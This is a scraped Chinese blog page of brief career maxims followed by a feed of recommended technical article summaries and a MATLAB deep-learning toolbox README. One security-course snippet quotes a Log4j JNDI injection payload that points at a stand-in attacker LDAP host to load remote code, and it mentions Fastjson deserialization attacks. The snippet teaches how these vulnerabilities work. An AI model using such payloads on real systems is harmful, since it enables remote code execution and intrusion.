墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
300+累计阅读
368平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
关键挺身而出
不着急、不害怕、不要脸的精神
1、抓住机会，挺身而出
2、不用多说，简单说清楚，会停（必要时，重复说清楚的话）
10-30页PPT，1-3页World
3、有备而来结构化思维、结构化表达（预演）
人性：贪、路径依赖
三次抗命、要闭上嘴，做人留一线，日后好相见
看得准、做得好、以小博大，求高倍数。
权、钱、色 不能都要
简单、坦诚、阳光
吕不韦与异人：奇货可居、权钱交易
1、害怕
2、倾听
3、找了替代品
LIGGGHTS颗粒模拟入门：从DEM原理到工程实践
离散元法（DEM）是一种用于模拟颗粒物质行为的数值方法，其核心原理是通过计算每个颗粒的运动和相互作用来预测颗粒系统的宏观行为。该方法基于牛顿第二定律和接触力学模型，能够精确描述颗粒间的碰撞、摩擦和粘结等微观机制。在工程实践中，DEM技术为优化工业设备设计、预测材料流动和减少实验成本提供了重要价值。它广泛应用于制药造粒、矿石破碎、粉体输送和农业加工等领域，帮助工程师和研究人员深入理解颗粒系统的复杂动力学。LIGGGHTS作为一款基于LAMMPS的开源DEM软件，继承了其高效的并行计算架构，并针对颗粒模拟进行了
[学习笔记]超越超级大循环与原生RTOS：事件驱动架构如何改变嵌入式固件的可扩展性
RTC：事件处理器一旦开始，全部状态迁移、进出动作、输出事件必须全部执行完毕才返回；同一个组件，当前处理没结束，不会开始下一条事件。这不是架构给状态机额外施加的限制，这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断，状态机会停留在未定义的中间状态。RTC保证两次事件之间，状态机永远处于明确定义的合法状态，便于分析与测试。
论文阅读—Square Attack: a query-efficient black-box adversarial attack via random search
论文阅读—Square Attack: a query-efficient black-box adversarial attack via random search 发表位置 ECCV 2020 摘要 作者提出了一种基于得分的黑盒Square attack，该模型不依赖于模型的局部梯度信息，因此可以绕过梯度隐藏防御攻击。Square Attack是一种随机搜索方法，它在随机位置选择局部的方形更新，使得每次迭代时扰动近似位于可行集的边界。 背景 当涉及到对安全至关重要的机器学习应用时，对抗性的例子尤其值得
带着小白学习-微服务-6 实战：网关
地址栏输入：http://localhost:8088/goods/index，这时候就不是到8100端口去调用了，而是8088直接通过路由转发，分别到nacos对应的goods对应的服务中区调用。** 可以看出，这里将前面已经正常运行的server-store子工程（库存服务，服务提供方），server-goods子工程（商品服务，服务消费方）。（1）uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务；，网关是做路由转发，不是服务调用；
股票分时数据获取-东方财富
获取下股票分时数据，分时均价下线，分时成交额等，用于量化t0交易条件还是很不错了的。
FPGA和USB3.0通信知识记录（1）——基于特权同学图书《Xilinx FPGA伴你玩转USB3.0与LVDS》
大家好，我是一个新人，请多多关照！ 我的毕业论文选题和特权同学《Xilinx FPGA伴你玩转USB3.0与LVDS》图书相关，所以在学习这本书的同时，做一下记录。 第一章：FPGA、USB和LVDS概述 1.1~1.4 都在介绍FPGA的发展历史、应用领域和开发流程。 1.5 USB接口概述 （1）发展史：20世纪90年代末，计算机开始集成USB接口。USB1.1最高速度大12Mb/s；USB2.0最高480Mb/s；USB3.0将文件传输速度提升至5Gb/s。而USB取代的是图1“大家伙”.
Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入
本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行，攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制，诱导目标向恶意LDAP服务器请求并加载远程类，最终执行命令（如弹出计算器）。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性，当用户输入可控的{"@type":"com.xiaodi.Run"}时，自动加载并实例化恶
树莓派教程（基于python编程）--入门篇
一：格式化SD卡 SD卡插入读卡器连接电脑，使用SDFormatter对SD卡进行格式化 （重装烧录也要进行着SD卡格式化操作） 二：下载官方镜像 http://downloads.raspberrypi.org/raspbian_latest 三：烧录SD卡 使用Win32DiskImager将镜像烧录到格式化后的SD卡 SD卡盘根目录（/boot）下新建一个命名为ssh的...
Java 多态 学习笔记
多态是面向对象编程的重要特性，指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”，结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展，如用Person p = new Student();统一处理各类人员注册，无需修改调用逻辑。但多态无法直接调用子类特有方法，需通过instanceof判断并强制转换。编译时看左边（类型），运行时看右边（实际对象），实现解耦与维护便利。
（一）Tushare Pro教程：股票基本数据接口
一直使用tushare作数据源，这里开个教程大家一起学习。 一、介绍 tushare是一个python股票数据源，现已升级到tushare pro版本，新版本在数据稳定性和获取速率上大幅提升。与wind、东财等收费数据源相比，tushare pro算是金融数据界的良心之作，其为从事金融工程、量化研究等方向的同学们提供了便利。tushare pro还有一点突出的特色就是已经将股票...
美亚杯2023参赛全攻略：从检材下载到Veracrypt挂载的保姆级教程
本文提供美亚杯2023电子数据取证竞赛的完整参赛指南，重点解析从检材下载、Veracrypt挂载到实战取证的保姆级流程。针对新手常见误区，详细说明两套密码（ZIP解压密码与Veracrypt挂载密码）的区别与正确使用方法，并分享赛前环境搭建、赛中高效分析及赛后报告撰写的核心技巧，帮助参赛者系统备赛，规避基础错误。
天线模块布局走线学习
天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时，器件封装应当尽量小，倾向于0402、0201等，可以减小由封装带来的寄生参数影响。
GDB交叉编译与问题解决：从零到精通的深度指南
完成后，GDB会安装到/usr/local/gdb-aarch64/bin，可以用aarch64-linux-gnu-gdb --version检查。：得有支持目标架构的交叉编译工具链，比如gcc-arm-none-eabi（用于ARM裸机）或aarch64-linux-gnu-gcc（用于ARM Linux）。：在配置工具链时，运行aarch64-linux-gnu-gcc --version检查版本，确保工具链没问题。这种场景下用GDB调试，就像在荒野求生，但别慌，GDB依然是你的好伙伴。
CMake学习
CMake如何编译成库？1. 为什么要有库？库就是预先写好，编译好的代码集合。存在的意义，1）避免重复造轮子和重复编译，库是，你的代码在编译时直接链接它，不需要把库的源码重新编译一遍，大大节省了编译时间。；2）：编译成库让别人可以直接调用我的函数，但看不到cpp源码，看不到里面的逻辑。3）：大项目可以拆分给不同的团队开发不同的库，最后拼在一起。静态库：就是在程序编译和链接阶段，把库里被用到的代码部分，像打包裹一样，直接复制粘贴到最终的可执行文件（如.exe或 Linux 下的无后缀文件）里面。
jdk-8u144-linux-x64.tar.gz.
该资源为搭建Linux系统Java环境用，资源的后缀为tar.gz格式的压缩包
OV9734 DATASHEET，完整规格书
OV9734完整规格书，包括电气参数，尺寸规格，寄存器配置表等
焦点仿真学习记录：water_only 基线怎么搭、怎么验、怎么调
在纯水介质中搭建5阵元几何聚焦仿真，通过合理设置网格、介质参数、源延时与传感器区域，实现焦点理论位置的精准对齐。基于声速计算延时，验证焦点位置误差小于0.1 mm，峰值压力达1.2×10⁵ Pa，确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照，确保聚焦性能评估可量化。
最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版
Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf：最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版，包括SDIO 接口的外设，SDIO 接口官方协议等。
MCP 学习总结：从理解协议到设计工具
MCP 为 AI 应用提供统一发现与调用外部能力的协议，区别于传统 HTTP API 与模型工具调用。它聚焦上下文交换，不替代模型逻辑或上下文管理。研发中需明确角色（Host/Client/Server），合理划分 Tools、Resources、Prompts，设计可被模型理解的工具契约，注重粒度拆分与幂等性，确保权限在执行端控制。通过小功能切入，验证正常与异常流程，逐步构建可协作、可维护的 AI 能力体系。
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
正则表达式学习笔记 02：基础语法
正则表达式是描述字符匹配规则的迷你语言，由普通字符和元字符组成。普通字符直接匹配自身，而元字符如.、*、+、^、$等具有特殊含义，用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类（如\d）、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意，若要匹配元字符本身，必须使用转义符\。例如，\.可匹配字面点号。
[LangChain] 学习笔记（08）：工具调用底层闭环与第三方搜索（Tavily）实战
大模型通过工具调用实现外部能力扩展：模型返回tool_calls，开发者本地执行后将结果以ToolMessage形式追加至对话历史，再由模型生成最终回答。关键闭环在于状态追加，否则会陷入死循环。借助LangChain生态如TavilySearch，可轻松接入联网搜索，突破知识时效限制。注意避免invalid_tool_call_id错误，确保消息历史完整；网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。
Axum 初步入门学习笔记
)自定义错误实现后，可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架，核心能力是：Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”：它帮你建立全局观，但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层，不是 Axum 自带的。
React 进阶 21 天学习计划
本学习计划专为有经验的 React 开发者设计，聚焦 React 19 新特性、性能优化与架构进阶。通过21天系统训练，掌握 use Hook、Server Components、Server Actions、状态管理选型（Zustand/Jotai/RTK）及 RSC 全栈开发，提升工程化能力与高级架构思维，实现从“会用”到“精通”的跃迁。
【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟
在下面去给他写中断子函数，他会在main中去到Timer0这个子函数当中去，再接着跳转回来。再TMOD上，这个是不可位寻址的，必须八位同时复制，如果同时使用定时器1和定时器0，先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉，我们去给他让他只去执行一部分。现在我们要去做中断了，改正之后的是这样，但其实是还有缺陷在的。寄存器是连接软硬件的媒介，我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式，M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。
扣子Coze学习笔记 02 · 智能体开发基础（视频9-15）
本模块系统讲解智能体开发全流程：从创建、模式选择（推荐单Agent自主规划）、参数调优（随机性、上下文轮数、回复长度）到提示词编写（CO-STAR框架+边界限制），强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比，厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入，并完成发布与开场白优化闭环。实操建议边学边调试，反复验证提示词边界，确保智能体稳定可用。
Git与GitHub系统学习｜本地Git工作模型：终端与进程、CWD、HEAD/Index/工作树及Git对象
从GitHub网页端走向本地Git，讲清终端、Shell、进程与工作目录，解释仓库发现、HEAD、Index和工作树，分析Commit/Tree/Blob引用、文件树与暂存机制，区分实测与教学示例。
Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制
本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击，相比拼接写法更安全。Filter用于拦截请求与响应，实现权限控制、敏感词过滤等功能，具备初始化、过滤、销毁生命周期；如XssFilter拦截非法参数，AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化，如Session的创建与销毁，实现系统状态管理。三者协同提升Web应用的安全性与可维护性。
库函数的学习
那是因为我们静态库在编译的时候就可以查找，我们之前用的方法就是在编译时可以查找，静态库会直接拷贝到我们的代码当中，所以运行的时候可以不需要i库。-L之告诉编译器，这个库在我们当前目录下，不然会找不到，它默认去的是lib64找。我们使用静态库的方法，然后形成可执行的main文件，我们执行，发现无法执行。gcc main.c -o main -I 文件 -L 文件。-l后面跟我们哭的名字，注意我们库的前缀和后缀都要去掉。使用-I -L -i这样的选项可以随时链接库。我们库的本质是：.o文件的集合。
STM32F103VET6高密度布线与铺铜优化学习笔记
完成STM32F103VET6开发板布线，设置导线间距为6mil，采用阻挡布线模式。优先短直走线信号线（如GPIO、RESET、WK_UP、LED、BOOT、晶振等），电源线（5V/3.3V）加粗以降低压降，地线配合铺铜形成完整回流路径。添加底层连接线及跨线，完成关键网络连通。进行整体铺铜，使用泪滴增强可靠性，设置30mil间距缝合孔，并通过过孔将底层与顶层铺铜连接，提升散热与电气性能。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
420
扫一扫
